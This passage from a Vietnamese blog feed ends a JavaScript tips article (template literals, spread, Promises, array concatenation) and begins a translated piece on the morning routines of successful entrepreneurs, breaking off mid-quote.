number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> a2 <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item <span class="token operator">*</span> item<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 4, 9, 16, 25]</span></code></pre></div> <h2 id="sử-dụng-string-template-literals-thay-vì-" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-string-template-literals-thay-v%C3%AC-" aria-label="sử dụng string template literals thay vì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng string template literals thay vì +</h2> <p>Có phải bạn thường sử dụng toán tử <strong>+</strong> để cộng (ghép) string, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Sum of "</span> <span class="token operator">+</span> a <span class="token operator">+</span> <span class="token string">" and "</span> <span class="token operator">+</span> b <span class="token operator">+</span> <span class="token string">" is "</span> <span class="token operator">+</span> <span class="token punctuation">(</span>a <span class="token operator">+</span> b<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Sum of a and b is 30.</span></code></pre></div> <p>Thay vào đó, bạn có thể sử dụng string template literals:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Sum of </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>a<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> and </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>b<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> is </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>a <span class="token operator">+</span> b<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Sum of 10 and 20 is 30.</span></code></pre></div> <h2 id="sao-chép-copy-mảng" style="position:relative;"><a href="#sao-ch%C3%A9p-copy-m%E1%BA%A3ng" aria-label="sao chép copy mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sao chép (copy) mảng</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 2, 3]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b <span class="token operator">===</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <h2 id="sử-dụng-promise-thay-vì-dùng-callback" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-promise-thay-v%C3%AC-d%C3%B9ng-callback" aria-label="sử dụng promise thay vì dùng callback permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Promise thay vì dùng callback</h2> <p>Code khi sử dụng callback:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">func1</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">func2</span><span class="token punctuation">(</span>value1<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">func3</span><span class="token punctuation">(</span>value2<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value3</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">func4</span><span class="token punctuation">(</span>value3<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">func5</span><span class="token punctuation">(</span>value4<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value5</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Do something with value 5</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Code khi implement bằng Promise:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">func1</span><span class="token punctuation">(</span>value1<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>func2<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>func3<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>func4<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>func5<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">value5</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Do something with value 5</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="nối-mảng" style="position:relative;"><a href="#n%E1%BB%91i-m%E1%BA%A3ng" aria-label="nối mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nối mảng</h2> <p>Có 3 cách nối mảng như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> one <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> two <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> three <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"g"</span><span class="token punctuation">,</span> <span class="token string">"h"</span><span class="token punctuation">,</span> <span class="token string">"i"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> result1 <span class="token operator">=</span> one<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span>two<span class="token punctuation">,</span> three<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Old way #1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["a", "b", "c", "d", "e", "f", "g", "h", "i"]</span> <span class="token keyword">const</span> result2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span>one<span class="token punctuation">,</span> two<span class="token punctuation">,</span> three<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Old way #2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["a", "b", "c", "d", "e", "f", "g", "h", "i"]</span> <span class="token keyword">const</span> result3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>one<span class="token punctuation">,</span> <span class="token operator">...</span>two<span class="token punctuation">,</span> <span class="token operator">...</span>three<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// New</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["a", "b", "c", "d", "e", "f", "g", "h", "i"]</span></code></pre></div> <h2 id="clone-object-và-array-sử-dụng-spread" style="position:relative;"><a href="#clone-object-v%C3%A0-array-s%E1%BB%AD-d%E1%BB%A5ng-spread" aria-label="clone object và array sử dụng spread permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Clone object và array sử dụng Spread</h2> <p>Clone object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token operator">...</span>obj <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {a: 1, b: 2};</span></code></pre></div> <p>Clone mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arr2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>arr<span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 2];</span></code></pre></div> <h2 id="set-key-của-object-một-cách-linh-động" style="position:relative;"><a href="#set-key-c%E1%BB%A7a-object-m%E1%BB%99t-c%C3%A1ch-linh-%C4%91%E1%BB%99ng" aria-label="set key của object một cách linh động permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Set key của object một cách linh động</h2> <p>Với cách thông thường:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myKey <span class="token operator">=</span> <span class="token string">"key3"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">key1</span><span class="token operator">:</span> <span class="token string">"One"</span><span class="token punctuation">,</span> <span class="token literal-property property">key2</span><span class="token operator">:</span> <span class="token string">"Two"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">[</span>myKey<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"Three"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {key1: "One", key2: "Two", variableKey: "Three"}</span></code></pre></div> <p>Với cách ngắn gọn hơn sử dụng []:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myKey <span class="token operator">=</span> <span class="token string">"variableKey"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">key1</span><span class="token operator">:</span> <span class="token string">"One"</span><span class="token punctuation">,</span> <span class="token literal-property property">key2</span><span class="token operator">:</span> <span class="token string">"Two"</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>myKey<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"Three"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {key1: "One", key2: "Two", variableKey: "Three"}</span></code></pre></div> <p>Trên đây là 21 thủ thuật JavaScript hữu ích mà mình đã sưu tầm được. Hy vọng nó có thể giúp ích cho bạn. Ngoài ra, nếu bạn biết thêm các thủ thuật khác hay có góp ý gì thì vui lòng để lại bình luận cho mình.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/su-dung-es6-template-string-co-gi-hay/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Người thành công dậy sớm thì làm gì?]]><![CDATA[Để trả lời được câu hỏi: "người thành công dậy sớm thì làm gì?", sau đây tôi sẽ đưa ra 10 thói quen buổi sáng của những nhà khởi nghiệp cực kì thành công, được dịch từ 10 Morning…]]>https://completejavascript.com/nguoi-thanh-cong-day-som-thi-lam-gi/https://completejavascript.com/nguoi-thanh-cong-day-som-thi-lam-gi/Thu, 28 Dec 2017 13:32:11 GMT<p>Để trả lời được câu hỏi: "người thành công dậy sớm thì làm gì?", sau đây tôi sẽ đưa ra 10 thói quen buổi sáng của những nhà khởi nghiệp cực kì thành công, được dịch từ <a href="https://www.success.com/article/10-morning-routines-of-wildly-successful-entrepreneurs">10 Morning Routines of Wildly Successful Entrepreneurs</a>. Qua đó, bạn có thể chọn ra những thói quen phù hợp và áp dụng cho bản thân mình.</p> <h2 id="tạo-danh-sách-công-việc-từ-đêm-hôm-trước" style="position:relative;"><a href="#t%E1%BA%A1o-danh-s%C3%A1ch-c%C3%B4ng-vi%E1%BB%87c-t%E1%BB%AB-%C4%91%C3%AAm-h%C3%B4m-tr%C6%B0%E1%BB%9Bc" aria-label="tạo danh sách công việc từ đêm hôm trước permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo danh sách công việc từ đêm hôm trước</h2> <p>Tôi luân phiên giữa việc tập thể dục khoảng một giờ và việc chạy bộ tới văn phòng. Tại đó, tôi xem lại danh sách công việc mà tôi đã làm đêm hôm trước.</p> <p>Tôi tìm ra những thứ mà mình ưu tiên và làm chúng đầu tiên. Bạn không thể kiểm soát được những thứ xảy ra trong ngày. Vì vậy, đây là cách để đảm bảo rằng những việc quan trọng nhất được hoàn thành.</p> <p><em>— <a href="http://www.barbaracorcoran.com/about/">Barbara Corcoran</a>, founder of The Corcoran Group and shark on Shark Tank</em></p> <h2 id="tạo-năng-lượng-ngay-lập-tức" style="position:relative;"><a href="#t%E1%BA%A1o-n%C4%83ng-l%C6%B0%E1%BB%A3ng-ngay-l%E1%BA%ADp-t%E1%BB%A9c" aria-label="tạo năng lượng ngay lập tức permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo năng lượng ngay lập tức</h2> <p>Tôi thức dậy sớm và chơi bóng rổ. Điều này giúp tôi bắt đầu một ngày mới với endorphin và sự tươi sáng. Tôi tắm và ăn ba quả trứng vào buổi sáng (protein thỏa mãn và giúp tôi tập trung).</p> <p>Tôi xóa hết inbox của mình với hai mục đích là: bỏ đi tất cả trì trệ cho đồng đội và bắt đầu một ngày cùng với bất kỳ những thử thách mà tôi sẽ phải đối mặt.</p> <p>Tôi suy nghĩ về những gì cần thiết để đạt được trong thời gian đi làm và đối mặt trong ngày.</p> <p><em>— Tim Draper, founding partner of legendary VC firm <a href="http://dfj.com/about/index.php">DFJ</a></em></p> <h2 id="tính-cách-quyết-định-thói-quen-lý-tưởng-của-bạn" style="position:relative;"><a href="#t%C3%ADnh-c%C3%A1ch-quy%E1%BA%BFt-%C4%91%E1%BB%8Bnh-th%C3%B3i-quen-l%C3%BD-t%C6%B0%E1%BB%9Fng-c%E1%BB%A7a-b%E1%BA%A1n" aria-label="tính cách quyết định thói quen lý tưởng của bạn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tính cách quyết định thói quen lý tưởng của bạn</h2> <p>Hầu hết mọi người đều có một tính cách vượt trội - thực dụng, hành động, xã hội hoặc cảm xúc. Biết được tính cách của mình có thể giúp bạn xác định được thói quen tốt nhất.</p> <p>Kiểu người thực dụng muốn một thói quen buổi sáng có cấu trúc cao. Những người hành động như tôi thích sự đa dạng. Tôi sẽ chạy bộ hoặc đi tập jujitsu. Hoặc tôi đọc những loại sách khác nhau, không chỉ về kinh doanh. Kiểu người xã hội lại thích một thói quen buổi sáng được xây dựng xung quanh mọi người.</p> <p>Bạn sẽ thường xuyên thấy tôi trên Snapchat, tập luyện tại phòng gym với 10 đến 20 người ở đó. Những người cảm xúc là rất nhạy cảm và hướng tới sự nội tâm, vì vậy thói quen của họ nên có nhiều sự yên tĩnh và hướng tới bản thân.</p> <p>Ý tưởng số 1 đối với tất cả các thói quen là sự tuân thủ, có nghĩa là bạn bám chặt vào kế hoạch của mình như thế nào. Tất cả mọi người đều có một kế hoạch buổi sáng cho đến khi cuộc sống "đánh" bạn.</p> <p>Vì vậy, hãy tạo ra một cái mà bạn có thể tuân thủ, dựa trên kiểu tính cách của bản thân.</p> <p><em>— <a href="http://www.tailopez.com/blog/about-tai-lopezwww.tailopez.com">Tai Lopez</a>, investor and advisor to many multimillion-dollar businesses who has built an eight-figure online empire</em></p> <h2 id="kích-hoạt-bộ-não-của-bạn" style="position:relative;"><a href="#k%C3%ADch-ho%E1%BA%A1t-b%E1%BB%99-n%C3%A3o-c%E1%BB%A7a-b%E1%BA%A1n" aria-label="kích hoạt bộ não của bạn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kích hoạt bộ não của bạn</h2> <p>Trước khi tôi bước vào một ngày bận rộn và không thể đoán trước được. Tôi sẽ lao vào nước lạnh tại bể bơi của mình, dành ra vài phút để mài dũa kĩ năng cân bằng và sửa chữa bản thân với một cốc cà phê.</p> <p>Tôi sẽ kích hoạt bộ não của mình bằng cách giải quyết trò chơi crossword trong tờ báo <em>Los Angeles Times</em> với thời gian ít hơn 20 phút. Chỉ đến khi tôi sẵn sàng để đi tới văn phòng và bắt đầu công việc.</p> <p><em>— Mark Sisson, founder of <a href="https://www.primalblueprint.com/what-we-do/">Primal Blueprint</a>, best-selling author of <a href="https://www.amazon.com/gp/product/1939563305">The New Primal Blueprint</a>, and publisher of <a href="https://www.marksdailyapple.com/">MarksDailyApple.com</a>, the world's most visited blog on paleo, primal and ancestral health</em></p> <h2 id="bổ-sung-dinh-dưỡng-cho-não-bộ-khi-bạn-thức-dậy" style="position:relative;"><a href="#b%E1%BB%95-sung-dinh-d%C6%B0%E1%BB%A1ng-cho-n%C3%A3o-b%E1%BB%99-khi-b%E1%BA%A1n-th%E1%BB%A9c-d%E1%BA%ADy" aria-label="bổ sung dinh dưỡng cho não bộ khi bạn thức dậy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bổ sung dinh dưỡng cho não bộ khi bạn thức dậy</h2> <p>Tôi uống một chất khoáng được làm sạch trong một "ounce" nước (1 ounce = 28.3 g), uống một phần tư nước tinh khiết có cấu trúc để thanh lọc cơ thể, sau đó tập 20 phút với bài tập "getups" của Thổ Nhĩ Kì với 45 pound tạ để đánh thức cơ bắp.</p> <p>Tôi có 36 phút trên Seqex và lấy 3 ml thực vật phù du Oceans Alive, và cuối cùng là chất dinh dưỡng cho não bộ. Tôi sử dụng 30 lần xà phòng EASE Magnesium trên bụng và dưới lưng sau khi tắm, sau đó sử dụng thực phẩm chức năng để phục hồi cơ bắp.</p> <p>Đối với bữa sáng, tôi ăn ba loại hoa quả khác nhau, hai trứng gà hữu cơ tươi được thụ tinh. Cuối cùng, tôi sẽ uống một cốc sinh tố hoa quả.</p> <p>— <em><strong>Ian Clark</strong>, founder and CEO of <a href="http://www.activationproducts.com/our-story/">Activation Products</a></em></p> <h2 id="lập-kế-hoạch-trong-ngày-có-mục-đích" style="position:relative;"><a href="#l%E1%BA%ADp-k%E1%BA%BF-ho%E1%BA%A1ch-trong-ng%C3%A0y-c%C3%B3-m%E1%BB%A5c-%C4%91%C3%ADch" aria-label="lập kế hoạch trong ngày có mục đích permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lập kế hoạch trong ngày có mục đích</h2> <p>Trước khi ra khỏi giường, tôi dành ra ít phút để kéo dãn cơ dưới chăn, và thể hiện lòng biết ơn đối với cơ thể và sức khỏe. Tôi xác định mục đích cho một ngày, và thường xuyên nói to với chính mình.</p> <p>Tôi uống một cốc nước đầy, pha cà phê hoặc trà, thắp sáng một vài cây nến, và thích thú trong khi thiết lập nhiều mục đích cho mục tiêu của mình.</p> <p>Tôi chuyển một cách dần dần sang kiểm tra Email, hoàn thành càng nhiều việc càng tốt trước khi rời khỏi nhà cho việc tập thể dục.</p> <p>— <em>Elle Russ, best-selling author <a 